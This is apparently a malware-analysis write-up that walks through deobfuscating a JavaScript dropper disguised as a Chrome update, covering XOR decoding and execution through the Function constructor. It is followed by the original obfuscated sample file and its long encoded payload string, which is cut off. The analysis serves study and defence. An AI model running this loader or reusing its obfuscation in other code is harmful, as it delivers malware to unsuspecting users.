Can you see advantages of this? Malware can hide declarations of any function, under any name and static code analysis tools can't find any explicit function declarations!
Very similar method can be used to assign built-in methods to totally randomly named variables:
:
```javascript
let sdfgfdg = "".substr
sdfgfdg.call("malware",1,2) // "al"
```
```call()``` is a way to run our function. Consider following example:
```javascript
"malware".substr(1,2) // "al"
```
We call ```substr``` method on ```"malware"``` string. But we can also __call__ function ```sdfgfdg```, which we assign ```String.substr()```, passing a string ```"malware"``` as an object on which our ```sdfgfdg``` has to be executed and also pass actual arguments.
---
```call()``` and ```apply()```, as well as ```bind()``` are quite advanced concepts in JavaScript. I strongly recommend to read about them in fantastic "You Don't Know JS" series by @getify (Kyle Simpson):
https://github.com/getify/You-Dont-Know-JS
---
Last problem for malware is to hide explicit ```constructor``` call.
Our malware does it as follows:
```javascript
var xewubdiwhit = "kydka"[(12).toString(36) + (24).toString(36) + ("r", "w", "h", "Z", "n") + ("n", "X", "L", "s", "w", "s") + "t" + (27).toString(36) + "u" + "c" + ("d", "m", "b", "t") + ("z", "E", "z", "n", "o") + ("N", "J", "r")];
```
As ```"kydka"``` is a string, it has, as every object in JavaScript, method ```constructor``` - and word ```constructor``` is build using already known method with converting numbers to strings with hexatrigesimal system, () expressions returned last element from comma-separated list of characters and finally concatenates them using ```+``` (for string it means concatenation) operator:
```javascript
var xewubdiwhit = "kydka"["constructor"]
```
Now, when we know what it does, let's refactor code above into something more readable:
```javascript
var fnConstructor = String.constructor
```
Now, first lines of our deobfuscated malware are:
```javascript
(function(quhuvu6) {
var defiq = cicuza(quhuvu6);
var permy = "H@D~7a84O";
var paghimqycgi = {
getpy: "myqniroqa3"
};
var fnConstructor = String.constructor;
var tyttaluli = "mokzine";
var dikol = [];
var mirjokbynet = 1; // (27, 50, 52, 21, 1) equals 1
(...)
```
---
More on functions ```call()``` and ```apply()```
http://devdocs.io/javascript/global_objects/function/call
http://devdocs.io/javascript/global_objects/function/apply
---
## Logical operators tips and tricks
In our analysis we get into this fragment:
```javascript
while (mirjokbynet <= permy[("h", "g", "B", "W", "l") + "e" + (23).toString(0x24) + "g" + ("u", "Z", "W", "u", "t") + (17).toString(36)]) {
dikol = (permy[("M", "H", "s") + ("C", "N", "D", "u") + (11).toString(0x24) + (28).toString(0x24) + ("T", "k", "t") + "r"](permy[(21).toString(0x24) + "e" + "n" + (16).toString(36) + ("L", "S", "x", "t") + ("I", "D", "h") /*Q5E278CBpoixvOtUNpix*/ ] - mirjokbynet))[("d", "R", "p", "s") + ("H", "K", "A", "s", "D", "p") + "l" + "i" + ("Y", "b", "h", "t") /*O7MOfVrRkP9RlXlfKLxi*/ ]('');
for (var juqno = +!!false; juqno < defiq[("R", "t", "E", "l") + ("y", "e", "f", "R", "e") + (23).toString(36) + (16).toString(36) + "t" + "h" /*H3RMPYzEeu55OVeGgb1v*/ ]; juqno++) {
defiq[juqno] = defiq[juqno] ^ dikol[juqno % dikol["l" + (14).toString(36) + "n" + (16).toString(0x24) + (29).toString(0x24) + ("X", "O", "c", "m", "h")]]["c" + ("G", "w", "R", "e", "h") + (10).toString(36) + ("A", "W", "V", "i", "r") + "C" + ("Z", "O", "W", "o") + ("R", "N", "A", "y", "d") + "e" + "A" + "t" /*YZz3OuivKuwgqjkFVKu0*/ ]((88, 53, 3, 90, 0));
}
mirjokbynet++;
};
```
Apart of methods we discussed so far, we can spot here couple of strange logical operators usages.
First, let's simplify the code and deobfuscate all we can using already know techniques. I've renamed ```mirjokbynet``` into ```k``` and ```juqno``` into ```j``` as well:
```javascript
while (k <= permy.length) {
dikol = (permy.substr(permy.length - k)).split('');
for (var j = +!!false; j < defiq.length; j++) {
defiq[j] = defiq[j] ^ dikol[j % dikol.length].charCodeAt(0);
}
k++;
};
```
This looks better.
Now, we can follow code execution in this fragment of malware. As we can see, in ```while``` condition variable named ```permy``` is used and its definition assign ```"H@D~7a84O"``` string as its value.
It's time to figure out how this fragment works:
```javascript
while (k <= 9) { // 9 is value of permy.length
```
Next line defines value for array ```dikol```:
```javascript
dikol = (permy.substr(permy.length - k)).split('');
```
As in this place value of ```k``` equals 0, ```dikol``` becomes the last element of ```permy``` string (which is splitted into an array by ```split('')``` call), so its value in first ```while``` iteration becomes ```[0]```
Now, the ```for``` part:
```javascript
for (var j = +!!false; j < defiq.length; j++) {
defiq[j] = defiq[j] ^ dikol[j % dikol.length].charCodeAt(0);
}
```
Into what value ```+!!false``` evaluates?
* initialy, it is ```false```
* then, first ```!```, which is logical NOT (negation) changes it into ```true```
* and next ```!``` again changes it into ```false```
* finally, ```+``` casts Boolean value ```false``` into Integer ```0``` (you can check this flow, step by step, in Chrome console):

So many efforts to get just one ```0```...
Next, we have another logical operators inside ```for``` loop.
As we found, ```defiq``` is an array with decimal values (it's initial string passed into IIFE after couple of transformations we discovered earlier).
We will focus now on first element of ```defiq``` array, which is ```65```.
The result of expression ```defiq[j] ^ dikol[j % dikol.length].charCodeAt(0)``` is calculated in several steps:
* ```j``` is actual loop control value. For first element it will be ```0```, so the result of ```j % dikol.length``` is ```0``` (```0 % 1 = 0```). Remember that ```dikol.length``` in this iteration equals 1.
* now, we have expression ```defiq[j] ^ dikol[0].charCodeAt(0)``` which evaluates into ```65 ^ 79``` (```65``` is first element of ```defiq``` array and ```79``` is a result of ```dikol[0].charCodeAt(0)``` - ```dikol[0]``` equals ```O``` (capital o), and ```'O'.charCodeAt(0)``` equals 79
* operator ```^``` is bitwise operator XOR (eXclusive OR). The result of expression ```65 ^ 79``` is ```14```.
Next, ```k++``` increments value of ```k``` and the whole operation starts again. This loop lasts as long as whole ```defiq``` array is transformed into new values.
---
__Logical and bitwise operators__
```! (logical NOT)```
http://devdocs.io/javascript/operators/logical_operators#Logical_NOT
```^ (bitwise XOR)```
http://devdocs.io/javascript/operators/bitwise_operators#Bitwise_XOR
https://en.wikipedia.org/wiki/Bitwise_operation#XOR
---
## Almost done!
Last fragment of malware should be easy to deobfuscate with all tricks we've learnt:
```javascript
for (var vaxofibcid = +!!false; vaxofibcid < defiq[(21).toString(0x24) + (14).toString(0x24) + ("o", "w", "n") + "g" + ("W", "w", "v", "K", "t", "t") + (17).toString(36)]; vaxofibcid++) {
defiq[vaxofibcid] = "ms" ["c" + "o" + ("T", "L", "w", "T", "n") + ("p", "z", "K", "O", "P", "s") + (29).toString(0x24) + ("k", "B", "o", "L", "P", "r") + ("K", "b", "g", "t", "u") + (12).toString(36) + ("Y", "U", "T", "t") + (24).toString(0x24) + ("Y", "i", "r")][("p", "V", "E", "L", "G", "f") + "r" + ("X", "X", "o") + "m" + ("d", "R", "J", "A", "C") + "h" + (10).toString(0x24) + (27).toString(0x24) + (12).toString(0x24).toUpperCase() + "o" + ("K", "Y", "a", "v", "N", "d") + (14).toString(36) /*PBi4j6Mle9j71igjdR2P*/ ](defiq[vaxofibcid]);
};
tyttaluli = defiq[("Q", "Z", "U", "j") + ("H", "J", "o") + (18).toString(36) + ("v", "s", "I", "v", "N", "n") /*vdmIiGO523flagErARiC*/ ]('');
paghimqycgi["t" + ("J", "g", "G", "o") + "S" + (29).toString(36) + ("E", "N", "p", "r") + "i" + (23).toString(36) + ("a", "g", "X", "v", "g") /*UnDf5WWU1YYgk8xYA8QT*/ ] = fnConstructor[(12).toString(36) + "o" + ("N", "B", "a", "u", "g", "n") + (28).toString(36) + "t" + "r" + "u" + (12).toString(0x24) + (29).toString(0x24) + ("O", "J", "g", "V", "H", "o") + (27).toString(0x24)](tyttaluli);
var gogoq = "1cf4d5" + paghimqycgi + "631a403f5";
```
becomes
```javascript
for (var r = +!!false; r < defiq.length; r++) {
defiq[r] = String.fromCharCode(defiq[r]);
};
t = defiq.join('');
v.toString = fnConstructor.constructor(t);
var gogoq = "1cf4d5" + v + "631a403f5";
```
The only purpose of all this code is to perform manipulation of an array, to finally get a string passed to ```nilse``` function:
```javascript
nilse(gogoq);
function cicuza(val) {
(...)
};
function nilse(tefkysab) {
return (new Function()(tefkysab));
};
```
And that's pretty all. Our deobfuscated malware sample looks now much more readable but it still can be quite hard to run it and make it works (I found that there's some error which does not allow to finish last transformation):
```javascript
(function(quhuvu6) {
var defiq = cicuza(quhuvu6);
var permy = "H@D~7a84O";
var v = {
getpy: "myqniroqa3"
};
var fnConstructor = String.constructor;
var t = "mokzine";
var dikol = [];
var k = 1;
while (k <= permy.length) {
dikol = (permy.substr(permy.length - k)).split('');
for (var j = +!!false; j < defiq.length; j++) {
defiq[j] = defiq[j] ^ dikol[j % dikol.length].charCodeAt(0);
}
k++;
};
for (var r = +!!false; r < defiq.length; r++) {
defiq[r] = String.fromCharCode(defiq[r]);
};
t = defiq.join('');
v.toString = fnConstructor.constructor(t);
var gogoq = "1cf4d5" + v + "631a403f5";
nilse(gogoq);
function cicuza(val) {
var result = [];
for (var i = 0; i < val.length; i += 2) {
result.push(parseInt(val.substr(i, 2), 16));
}
return result;
};
function nilse(tefkysab) {
return (new Function()(tefkysab));
};
}("41553a304f0b442(......) // string cut for readability
```
## Summary
Methods presented in this post are quite simple and based on JavaScript language syntax. Although they were found in real life code (infection vector was fake Chrome update - as I mentioned at the beginning of this post, the code has not been run thanks to Windows setting showing file extension and my colleague spots that this is not update installer but JS file and did not run it)
Main intention of this file was to trick anyone who download this code to click it. After all transformation we followed, the final version of this code becomes Windows Script Host (WSH) file which can for example download and run real malware or ransomware.
If you are curious how it will be possible, you can take a look at my previous post, where I'm going through RAA ransomware, popular JavaScript ransomware with CryptoJS build-in library and Locky malware dropper:
https://github.com/bl4de/research/blob/master/raa-ransomware-analysis/README.md
---
__Windows Script Host__
https://en.wikipedia.org/wiki/Windows\_Script\_Host
---
## Comments? Thoughts? Questions?
If you have any questions or doubts - feel free to contact me:
- Twitter: https://twitter.com/_bl4de
- email: bloorq .(o,o)/ gmail.com
Thank you for reading!
Best Regards,
================================================
FILE: javascript-malware-obfuscation/do_not_run.js
================================================
(function (quhuvu6) {
var defiq = cicuza(quhuvu6);
var permy = "H@D~7a84O";
var paghimqycgi = {
getpy: "myqniroqa3"
};
var xewubdiwhit = "kydka"[(12).toString(36) + (24).toString(36) + ("r", "w", "h", "Z", "n") + ("n", "X", "L", "s", "w", "s") + "t" + (27).toString(36) + "u" + "c" + ("d", "m", "b", "t") + ("z", "E", "z", "n", "o") + ("N", "J", "r")];
var tyttaluli = "mokzine";
var dikol = [];
var mirjokbynet = (27, 50, 52, 21, 1);
while (mirjokbynet <= permy[("h", "g", "B", "W", "l") + "e" + (23).toString(0x24) + "g" + ("u", "Z", "W", "u", "t") + (17).toString(36)]) {
dikol = (permy[("M", "H", "s") + ("C", "N", "D", "u") + (11).toString(0x24) + (28).toString(0x24) + ("T", "k", "t") + "r"](permy[(21).toString(0x24) + "e" + "n" + (16).toString(36) + ("L", "S", "x", "t") + ("I", "D", "h") /*Q5E278CBpoixvOtUNpix*/] - mirjokbynet))[("d", "R", "p", "s") + ("H", "K", "A", "s", "D", "p") + "l" + "i" + ("Y", "b", "h", "t") /*O7MOfVrRkP9RlXlfKLxi*/]('');
for (var juqno = +!!false; juqno < defiq[("R", "t", "E", "l") + ("y", "e", "f", "R", "e") + (23).toString(36) + (16).toString(36) + "t" + "h" /*H3RMPYzEeu55OVeGgb1v*/]; juqno++) {
defiq[juqno] = defiq[juqno] ^ dikol[juqno % dikol["l" + (14).toString(36) + "n" + (16).toString(0x24) + (29).toString(0x24) + ("X", "O", "c", "m", "h")]]["c" + ("G", "w", "R", "e", "h") + (10).toString(36) + ("A", "W", "V", "i", "r") + "C" + ("Z", "O", "W", "o") + ("R", "N", "A", "y", "d") + "e" + "A" + "t" /*YZz3OuivKuwgqjkFVKu0*/]((88, 53, 3, 90, 0));
}
mirjokbynet++;
};
for (var vaxofibcid = +!!false; vaxofibcid < defiq[(21).toString(0x24) + (14).toString(0x24) + ("o", "w", "n") + "g" + ("W", "w", "v", "K", "t", "t") + (17).toString(36)]; vaxofibcid++) {
defiq[vaxofibcid] = "ms"["c" + "o" + ("T", "L", "w", "T", "n") + ("p", "z", "K", "O", "P", "s") + (29).toString(0x24) + ("k", "B", "o", "L", "P", "r") + ("K", "b", "g", "t", "u") + (12).toString(36) + ("Y", "U", "T", "t") + (24).toString(0x24) + ("Y", "i", "r")][("p", "V", "E", "L", "G", "f") + "r" + ("X", "X", "o") + "m" + ("d", "R", "J", "A", "C") + "h" + (10).toString(0x24) + (27).toString(0x24) + (12).toString(0x24).toUpperCase() + "o" + ("K", "Y", "a", "v", "N", "d") + (14).toString(36) /*PBi4j6Mle9j71igjdR2P*/](defiq[vaxofibcid]);
};
tyttaluli = defiq[("Q", "Z", "U", "j") + ("H", "J", "o") + (18).toString(36) + ("v", "s", "I", "v", "N", "n") /*vdmIiGO523flagErARiC*/]('');
paghimqycgi["t" + ("J", "g", "G", "o") + "S" + (29).toString(36) + ("E", "N", "p", "r") + "i" + (23).toString(36) + ("a", "g", "X", "v", "g") /*UnDf5WWU1YYgk8xYA8QT*/] = xewubdiwhit[(12).toString(36) + "o" + ("N", "B", "a", "u", "g", "n") + (28).toString(36) + "t" + "r" + "u" + (12).toString(0x24) + (29).toString(0x24) + ("O", "J", "g", "V", "H", "o") + (27).toString(0x24)](tyttaluli);
var gogoq = "1cf4d5" + paghimqycgi + "631a403f5";
nilse(gogoq);
function cicuza(syhri) {
var fahomyfo = [];
for (var segovmiw4 = parseInt((0).toString(36)) /*CN1b367Z19XZqi8XgI67*/; segovmiw4 < syhri["l" + ("F", "T", "H", "e") + "n" + ("G", "n", "O", "g") + (29).toString(36) + ("u", "X", "U", "p", "h")]; segovmiw4 += parseInt((2).toString(36))) {
fahomyfo[("E", "w", "f", "F", "p") + ("G", "i", "L", "u") + "s" + "h"](parseInt(syhri["s" + "u" + "b" + "s" + ("M", "h", "M", "U", "f", "t") + ("M", "q", "r")](segovmiw4, (85, 19, 84, 9, 2)), parseInt((42).toString(0x24)) /*uShFAoMcgqPvcds6w2xD*/));
}
return fahomyfo;
};
function nilse(tefkysab) {
return (new Function()(tefkysab));
};
}("41553a304f0b442551284206" + "672651014d1e1a60127" + "b2a146b3625332202274" + "17121712e033c64344e117735272b512a500b5c6034782e4d743625546f000c5" + "a4e183" + "46c166d6802293f5a7d3a55296d561b1c35680f03131b24356b3f070303" + "510100237e2b2e03780474091516297067364539282132" + "2d44" + "3e1a6c1646096d6a495a1b1c2a656a214e683e675d35724c440d152624734c72391521602a6b096f595b0349106b36251b22564e647e6728260516141a4f0f353d773141241368" + "5464381848" + "641f2c5e02343b160c3a3e" + "7b4a5a21540040395a7e315c7f095b0b7a5f1c45392e3e3d42497a5f2b795370196b7265615e1e41214624227f681b084" + "674462b7323426a4f732c54221809266549417877177231114671397e1b4341707f651c103835741b0" + "c0f6743741442321c576c43171b144c317278043d7731360716136374261325363b396109034f13775f55367b70136f637c7264401a3e35505e6d49096c6d742d642c6513250f456f646" + "c72427e4e492b2c2a2c5e6e19494f17092f7c" + "027d512c46410c390b07" + "043179291842696d415b51376f50132d7c766a4a5413637c1f1b44510839392b786602222a403918715856514f00172e6c224b5a7" + "c1223685031633157041f434d3037424" + "72e307c707e04471d354e" + "0b1f3d655f162604630d22576c460c5d13570235063143784" + "23e042d3b29680e675d0a7f117e3432" + "4e3c7d08" + "4" + "83336250f031c3e7b346f4c4271685c6f66233f38345e" + "1c686b46427471413925223c1a286320296e0" + "a0c" + "714635217d2e4e2236266907341951263a596c1b196b115f61502a5" + "e4806773078341c6f5a1b3132624d1935251" + "9462a1b67247b714137" + "55014721234d02166d3d2a5e2551" + "6944393f413814731702513b792d0a6b527b16786b4c7" + "80b7b2246144" + "e172e451479296d3b3" + "44b4354577e77690830674d6f49145b075b35770449692d42755e6273000f420371662f6d743a7064636c701" + "317225747753d38424" + "c260e0866134c71725e6" + "94a4a0b3e32" + "3459533a68731c7d6f28217f1b183e723e64311068545046235a645f682f33105168177f1b3b57034c2d4570037f6351285d1f6a1c48293b62077e704e0b55756510415a361c6d04425a560d325a0f522f3a1a36704e344f4f255d7b1f5e397f3b523" + "063220b7f512b7b025a5823065c7422786e5a25173a7c7b6c0" + "e5566095d36775857511d6f611b432420717524196e77057d7b1310033a182059757f68037" + "407" + "2e613d6d" + "2a" + "76223d6b1b3f323500411f4c0330670378082573367e514b370e25" + "24511a6f622f433e415a354e547f255d7f7" + "4102c4" + "d7552150626595957091e5d0477182a0f6d434" + "15e503d6d383d2141415705341e3e4142681c09683e290b360e423f1c3d6e054f091d2c60702d132537515c49322e6e21017306460a4a576d4f1125596a257421683a7613242f36691f097e59633" + "5206c651e5861596e7b016a42696b36683e421d3d4a4536103746043c" + "467b3b6c30586" + "d3b17015f4c1f055e150464102e49674d285a130159" + "043d080e140917571a704d6837186a15692e325e515a39305d09661f2a7c0b1732616b1664045c234d296d6f493a07730225224d6d2d4b1b40237c" + "515b310a6a494178732d2b7757684c641964275e1b2c343240734e2d" + "461409555" + "07c134a643b033" + "8772c3f5e045e04657439180f144a36382e353e7f70" + "70646c315e344a387a065a6f0a440c1c671" + "b0756102d0a36590b4e6c22250a267e547f717102011d" + "7f4f261852072975771a53294c60270b1a190e05706b797e59171e70" + "466f036f3" + "7000b3a015f51521f404e15452b145852176d106846322a373a5c7c2f56155a341f121709636e79330c4908730863" + "2c5a691f06605b7035314a443a1a457e7111380323732e49420b1e141257675633425014372a621f7431156" + "c304139120064634207292a0f67325a72431c392b36114a425" + "c641e487c4808367f7f731d007c69217c5c6" + "6555e463a0577334c3e617f1255325" + "51a516c593d603f144e74745a4e31286b72615e274279382a0455291f377f433121142c214f5f084a32304f22136e5e55565e64453a227b2773" + "2741726c434123740120182f1e49685e514a6c6b1b0f64560303655" + "d5c" + "046" + "9337429300250170e73271d0" + "031461346326f217817023a4f7a2d3608684515073f40270c6c5a77173" + "6545d715669491f223717481b532c4b7b0e07500c600014682f41062341196b01685c7b71041903392e513a6f6c0d3d7f7073412a411" + "96b7220400b7f1b7941242273257767352a7c033e" + "0242772d0e002f76071" + "57d11750c2b2438001b78312e55701d391539" + "31384571674f05095f21071d59431500322246420e183629360b0a1f5" + "c0" + "50b4a37745c2a61261d226014" + "746c0679324650326d354f0b7e692344233f06076a64455e493115460c4971070e351a7b7a265248245c31314613465a0b3232663a" + "564d61196f72556167335e2f20276b445d0410684d435130781d787341391d511a52322d5576600e4c08495a10412b" + "5535261b2b01593550391d422a1b585a272" + "e" + "4e683e14240b497d" + "5943606d2b0008563c3c" + "2056415220591831326f5f736a6c414f140" + "24626241443670f0" + "57" + "b464d3a616e1f3e5d5a102a5f7b2a08656f723e2f30174c55042f09" + "255a6f6546272" + "3563c29087f7" + "0523" + "9234549700a052b5a311e5d7c774e60225d670a28263c4c17222734552c5a605d" + "65581053461c107a1b5e63" + "07434c661e227165296848231210666851041e136d59" + "42774531320057524016360f27362a024729750360514f055965082246153" + "267511f48301a24" + "460d0a2d5d1161677" + "51e772e655" + "36c79017c4d53665c134b035104585633731b320349" + "412" + "47f4156506c134f7f6a17417261427076786c4" + "a386025787309220d1b1b0540051c0b0" + "a5e2e1c31726b2a3a0c181c7b4b592512744d41633" + "d2d2d36297417466f6e3a4217064d0b172f0065652d26" + "1960" + "105f27772c5a2651690a6c4a664a42170b0862564f5b700d2d1133782f2b100d264a2521266167055b5a49572629484c495b0f1b08653b6f3106046c545e110256774b60076d" + "097b230f172119340b313d1f3d79423b096e64042c1733565e49145c7f3d0476490773660c" + "4d0b3a372e3a4d25545a273c25773464100e6926536b130b4b154f396152600c726b6c212c175e1818541b734e1b19505616792e682f151f475a356" + "3471961454a4e0" + "b41607f5979675b445a35406736667b551a74556b785e504e607b6f5618563e6b6866633" + "720241c3a386116741f67393d3b3971615e3474363e685c2179163e192f357a244a11033a47170e49343235006646616" + "56536070671455d2a3" + "d2d403b361828506e2721132d3" + "10f493663087c5d1" + "54d0152036c4d431c5" + "e6574425e49496b" + "634" + "01f445e2d420870035f370d5a54422c3e3e330a21125a46475e" + "75" + "5e217c7b105e6905504a705c4" + "669266b1528602561" + "6d44666b015732765270644d75182751416" + "13c4b49373613094e325f20420b283b5751154a472d19106f" + "1b46216b203f1d6a0f3564632b186c6c604e0e1335593e0b747c2d544965377c1579216b507e0a561" + "8421" + "3226514431c703e044f5a1" + "1693d1404305d7a68180c0" + "23d3b336c0c143f4e2f1c546c4b0f264d4e5e3a1d00407f205a324e372f212e285f767a77393d70781358643c392252047f566e382f0c6b21031c08410f133501456f52" + "1" + "c355018732d36101803517c7837" + "252344496a2f22642c24284d4d041f3e62363" + "86b4a177c581b764c18521f" + "301" + "f6a513a404573267d161c" + "2154007b241b3152117" + "e5d212" + "95e1e78163b3d177475192a497f2935784a" + "2e27107d423258345a6977216c074b6b" + "6240" + "367d740d21" + "77187c216548523f6e491739083d7c3d074472702c5541567024463a3932651b14415d344f635b1b3b4a0b3e412429186" + "d2534265c703663600b0b5d66703126737b76223525321c2e357064" + "606c6341216f697d6c510032674d436f693077196e03391a3340734b177d3c2c3e5175451b6c262a2c5e7c5a04516f034e4034684762180f4b3b024e04223d6848106569041f387b5c5a3c630" + "d226f3953087e7814154b5510276d7e6364706f135" + "36c3517745a4f4d0641247b7b64507407057c5f217d1a03015a0" + "73977314" + "b2e7578005f744" + "d635a6348" + "4a333d7a440" + "c61162b517036696e072c3f1c2d6a1d423f635930126439297f0f29741734566f182f6c177a5" + "15f74750e4e4c1c387b3e5a5e0f3c735e41073" + "5410073111f7b77465f746c03323d6f2b10206b3f3c2a501f160d68263d210d2272633707" + "6f1c0d74720d2059142f0166011a45" + "110a2a37457824054e0e4a762b795a0c2b7a43076d09352" + "c697d0" + "2222c7f01367847717b77326a0f6f14781b7b32097e5661025d4178216e7442456c5018015c753434" + "7b05060b57754403223a2e7a6a391853557a095b6c226d5f375d035e0803717e540d382606291b62177243267" + "560115279777a297775353d0052255218782a60555664742f36480b" + "7a0c577d450a0f7b2b650119692f3c1e6b6d68507b2a1f2e65632364552d5d0e4e7a0d2754296c6d232e37712a1b7e02350c750129" + "53" + "74375" + "a225258730" + "f14307d2145670e02420c21224e0f5e735e705504500219721c0b40252c5e0d0" + "d025a545c2d492a0b1c7a2c7" + "c196f333145740029635d48486226" + "3a2a7430780436037d243a7e4d046846093363035d0d48763902562d5c28264" + "80a1a760c6921785f522b0d295167" + "307a43725668682e7f7d7b" + "717d68" + "552e6c" + "7652500e5a53383b526f4b7c2772221050165f0077357d1a52785232520b7e0804277352202" + "21a23552a46510854242b17620c02477058335b3151154c09287d7f0d3606752079600e3354452a0540353131572211493f7d297900785a153f69362d583621105a1d7877282" + "e1426065" + "f15415730004f2618782d6170782a2841" + "257121264b5d2408612c2575257e0c52082d251d59037f61766a28500968" + "0c1321577e5e4c6d5a3f637e7338134c7714250c4a285d0" + "40" + "d7252" + "6b1b735b66564040085f295654055005" + "4271214e286722780e7f730f4d071a2d7703483" + "f553f3" + "9521c2638691f153e5e703d7d7c365b6b146b5e67250d226b415d075c55200" + "e150c7846007c333f637f062152660f66300317220604502c5d295752" + "531716774b0c713612230c414f0b7" + "3515573292b1b1e16136d7a362a262b3234327b211b3f5e7f0b2d501f474d1558355e1314563a517a51170425773451313e2d" + "482829540234520b2b4c18573f" + "7c721c5d2d117729185b2a0808686b2f015e770979036f417e7a1b4d71514b000e08495f0408207616136d7b1d2f14783226260620714e0a51345" + "54b71043c012874550e5931107c730c3" + "c5e17391b2362775e4e2a0e6f7c572f69733" + "9706f1d014f18045a0e3d023f530f03277b2a4a226" + "9200c37595352196f61065e686c5263215e301f037f702e00043f1" + "63a5059565200747f3f655b433f7929" + "285e6f0f4f542b0e677315785" + "6" + "0e6d5a77" + "5e090" + "b38136d767c4d08202d1959" + "73242e64065e725418292547556f5d69365d7170017223463f590735076f7a69" + "290410411b36512c" + "2c7f737573517c28004b4513312" + "65d4d0b47564a545b7972475a2b020a543e19591c7869566a706e0550221f7a0d0e7312525076322977510a7b080025" + "0322021f6206243227027f0c36543f0d072306371450636f070e7a5555006e" + "250716012658052c2f464" + "67c521c7d1a1b0725070f0" + "f0e762c147c293705352" + "07227527552427b627c7e0b61420064327b347c3724292c3e017e115" + "37c3503113b3456680277283243227f035e2d763" + "e0a33556e5435656b062f7755713d" + "5f31085b13" + "380108777a555a5c4f257b704f055c1a4c7506202d4879012d067b2344312a0d737b4e57776773591f2a7" + "f11177475027b296c0b0f5e771d0c4d1a7f110273" + "0c" + "6828742b30741f6e7715585015417e7b742f0f083b497f7a457601407f2668727c540214492354505177790b353d072e1" + "8400e2946" + "5805213d0f5b560e0f5154775" + "7672b4d29131e3e4f2b5" + "e364a132b783d210e6f2901725e0a20491b237d784007" + "4d35365637200733075d3121" + "7b0764216c56111f0a113678065924675004555" + "d5e0b74427d4d0e5239" + "077f70097b2c2b7f39365c1a5e" + "5b681a7b54217d5b2f4750714a23290a5f74524466561f4e0028201659654c0877264a7e1a767a7932012a70" + "710522050d0c7c1e" + "095" + "7" + "5248047e0b01340f040b78" + "4961362b7a3d05324a" + "70762c1a415b0d72" + "5a711a003671145700191" + "c3" + "545047b7053" + "04782b" + "080057551040391b731659653b56415d7703724452007a0a5d6735" + "2910266" + "52f026f" + "235d3b145f2057255d400b5c0f1c7c7b5d7c550c077e2e0d" + "455e2f291b7b3a0c0327650a62772979586d642637670d2752040251495d054d5e597800207f6a627c5e19526d480f7e767e0e436816627a7030241f7c77" + "2e7f5d551f761e537e513d3d7b676c224a04617b25554a56705c6743" + "625a19474f5867050f05644578436819732e17222" + "41177221d6332" + "5b060c592136251e0" + "d140156795e247a2d7b5" + "e1" + "578030d4e59073d3f225f364b707d557a7056224f385426752b1" + "a2a53657f0264077009554b02062f75412f50562860264d4a716c7375563c04196072253543264e0b2f780b327" + "758500555603f" + "542a0e646939787d655" + "8545607466c07590f5a09550762327d58131d565" + "8315c087b4b225b0e116b380e2359105518774575555f73561435137074495f5a6672775b0e522637642f22" + "216a7f4f366837556d0e392c2e642c777c4e766c5c3f670b4e335179063e75317b0451002d0c102443787c3e0f2106272974" + "720647360f4272723811242a" + "597b0273392378427" + "400750a37422c185118457c0474081d5d350d2d7e620b1e2875564307772c0e7d205" + "95a7554185054243" + "6527504" + "7f1b5b0b035733712761554407374" + "25e5c7854033261391972327b637c482a7c4c103e33" + "2b77255d2c01780d0c292c411367610b034f7c417f4152786d14530c0b52765b383c5" + "a3a27647178437652747366715d" + "7421395e0107635078577c2a7b53343d613f0e2727665" + "46f510e0b4d083a75575c5e366e531f630629" + "297a55554d232a4e530356787e7c624e5756" + "4659106" + "70875" + "270d240e235d021f30612561007f76736264097f162d05016563034d3d7f162318782c5" + "c6b292510772e145857512420305602794316700b0b7a27221f5b07462d73604c63" + "5" + "40c22277569293370445d09042772227a0021" + "47735870615a586c155c096f155c52027e702f094331025e" + "0b751e75241d280a39" + "7b004b46017a7d7824190477577c6" + "b0861402f33085f0365597101337b3b3b0b1b01750d22647a542b2c033e3278541f222341" + "047a64067e7e4b0c247f740d58067c7f6e6e7" + "72c364e5955457f0d2" + "61408210e5e2e" + "582c7e56457c612710287472775b18183b277e402e77312a7575721e6c2c195f262a6351303236" + "2127" + "1c4b32205c492e2227320e3a043548221e6b5a002d6c7f3604381c19722a6e234779001" + "45c2a080" + "a116b385e" + "3718571e7f5b13472f25614a122e37535347270c0820220630372d421e762c5f0246004b742d276d22607f2f0d3" + "b7a22280e0858194a6d78645b082046292" + "659662e650a5c081c5d253a0f6a7d3b4c0" + "1270253" + "0e6f095b0c2b3" + "f004f7943611b2016606f01587b06227b0003507b513d436b672123483056156703242066224c020f0a293d300b130f652a733e0d04292c1b0b5d2c2a4274555d6f2b040c26215e29222b2b46752278312910060652332139260b7277676756351804757606730c172e516103015e" + "510c786a142f2f4552194875772" + "d0a5a2b2d054e7a5d317b6f7451707b750662784d222e2" + "e626559325331097369017a432e1506137b2" + "f6a7542106b571e0f582637342607505c5e21410d756d2a7b3e324a5f567e0d596525380d3e0d055d5b57242d591a2166517b1b7758671c2622311d0078782823267766615755700d1b782c35030c61227267475e7506507a490d0f7c2a61051d3" + "879680a71293c51747a1f2963322" + "463507f5b5e4f7c5e66496a693e792834722e1b2e00600c255023416a" + "240170025e" + "215" + "a446f29774d340e52415" + "f227f1f550d710e715b0405051872480e1727290f5f5d46134e0f7c1b2" + "d5d1f7" + "c28795e70273342260e7a3909481c6578682974622e003402292b" + "3c7a4e033b130a63640602064879650c587a547974490f4c23543c262b5e00290c780330677d4a2" + "44" + "4257e7e766d316a7f3e" + "582" + "a6" + "f" + "2554065e02526b3c033d4e7c2873721751145d5" + "42365294e51290761" + "0e02250b0a2174153d301c215c2a4a0e0e087f6d1e6b1e5340215d6b006751114b5d782b7e51670d28227d641e2e151a295e4" + "e3f34660f75025125777f2c562b59473a6b377c046677165a1072267f70103" + "44e44530b42375619214a2e7b32732d23724470" + "7421224a5d7e593421297e742e03025c212f490a597f68706a7e53083d5a107a532c0a49600c3a347925780e587a452a091f790d005a77536f0" + "a3e4f3b0345405d087e58040550561025771c2b372628087e271a031" + "2492b200c183b55683c0749273d290c53680b226a7879641d7057620d3524007c3d400b555c50200854466a4b0" + "3783238647f022851731d25350510715656007e1a671650465f55704" + "30f2737172a5a4e4f59700655257d7d4d1c045c7" + "d7b6c" + "7d253d7c73677f73493f5928012e51465c51515e3f5b441301695d2e16591676716653" + "65652f4a2826050562084f364c51113d2c261c5c" + "7" + "910797b125c76065f" + "6d6f7b510d6d1769053e102d2a414f220610531a145f0a025972" + "71515d7f774d2913213" + "c257a507327434d49" + "2f001c255233012d29075c0f641f7a715535074f30182e6179524f2a013e2e" + "07796822647c6f4d074f4c51560a3c0e68044f1f3773" + "2c1973317b56315a03055e" + "73755605633b5437210e63054e3b217203003d51" + "294b59510f03792a6e645d4c3623782" + "e006" + 